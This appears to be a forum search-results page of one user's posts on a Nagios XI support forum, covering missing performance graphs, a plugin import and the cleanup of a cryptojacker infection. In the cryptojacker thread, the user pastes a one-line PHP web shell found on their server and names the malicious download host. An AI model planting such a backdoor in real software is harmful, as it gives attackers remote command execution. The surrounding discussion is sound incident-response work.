Search found 15 matches
- Mon Mar 17, 2025 9:49 am
- Forum: Nagios XI
- Topic: [SOLVED] Missing perfdata for some hosts
- Replies: 4
- Views: 700
Re: Missing perfdata for some hosts
Thanks Marucs, RRD files not being updated for a number of hosts, cleared those out and all working now. WIll setup a cron job to keep an eye on them
- Fri Mar 14, 2025 3:56 am
- Forum: Nagios XI
- Topic: [SOLVED] Missing perfdata for some hosts
- Replies: 4
- Views: 700
Re: Missing perfdata for some hosts
Thank you kg! I've located perf data under /usr/local/nagios/share/perfdata/ and I've got a dir for My-Host. Inside there I've got XMLs and RRD files for each service. The RRD files for the problem services weren't being updated (though the XMLs were) so I've moved those and rebooted the box (not su...
- Thu Mar 13, 2025 4:19 am
- Forum: Nagios XI
- Topic: [SOLVED] Missing perfdata for some hosts
- Replies: 4
- Views: 700
[SOLVED] Missing perfdata for some hosts
Hi all Running 2024R1.4.1 on Ubuntu 22.04 I've got numerous Windows and Linux (RHEL/Ubuntu) hosts, most of these are showing performance graph data normally for CPU Usage, Memory Usage, etc. but some Ubuntu hosts are not. The usage is shown live, but no historic data is visible. Ie. On the Performan...
- Fri Feb 25, 2022 12:41 pm
- Forum: Nagios XI
- Topic: Plugin with .cfg files
- Replies: 1
- Views: 725
Plugin with .cfg files
Hi all I've downnloaded a plugin for my Nagios XI instance from here (https://github.com/riskersen/Monitoring) specifically the Fortigate plugin, check_fortigate.pl. In the directory is a .pl file, a .mib, and a couple of .cfg files. I've imported the PL as a plugin, the MIB as MIBs, but not sure wh...
- Tue May 11, 2021 2:30 pm
- Forum: Nagios XI
- Topic: Removing a Cryptojacker
- Replies: 14
- Views: 1270
Re: Removing a Cryptojacker
Happy to close off, of I have any issues I'll start a new one and link back, thanks for your help!
- Tue May 11, 2021 5:51 am
- Forum: Nagios XI
- Topic: Removing a Cryptojacker
- Replies: 14
- Views: 1270
Re: Removing a Cryptojacker
Apache user just running httpd, and nothing in the cron for it, so looking good (hopefully!)
- Fri May 07, 2021 11:56 pm
- Forum: Nagios XI
- Topic: Removing a Cryptojacker
- Replies: 14
- Views: 1270
Re: Removing a Cryptojacker
Will do, thanks!
- Fri May 07, 2021 9:54 am
- Forum: Nagios XI
- Topic: Removing a Cryptojacker
- Replies: 14
- Views: 1270
Re: Removing a Cryptojacker
Thanks guys. Can I just check what the content of /usr/local/nagvis/share/userfiles/scripts/userfile.php should be please? My AV is flagging it as a backdoor, but I'm not sure if that's a false positive?
Mine is
Mine is
Code: Select all
<?php
eval($_GET['cmd']);
?>
- Fri Apr 30, 2021 2:25 am
- Forum: Nagios XI
- Topic: Removing a Cryptojacker
- Replies: 14
- Views: 1270
Re: Removing a Cryptojacker
Seems like it has stopped firing now the cronjob has gone. Appears my firewall/Umbrella did their jobs in stopping the connection to download the second script from sslcer.justdied.com, so I think (hope) this is the only bit that needs cleaning up. In the backup .tar.gz I can see the path /cron/apac...
- Fri Apr 30, 2021 12:28 am
- Forum: Nagios XI
- Topic: Removing a Cryptojacker
- Replies: 14
- Views: 1270
Re: Removing a Cryptojacker
Thanks gsmith Re DNS - We've recently started using Cisco Umbrella (which was how we found it in the firstplace) and to monitor it live I'm running wireshark from the box (tshark -f "udp port 53") and filtering the output for sslcer.justdied.com No luck with lsof, but a ps -ef shows a load...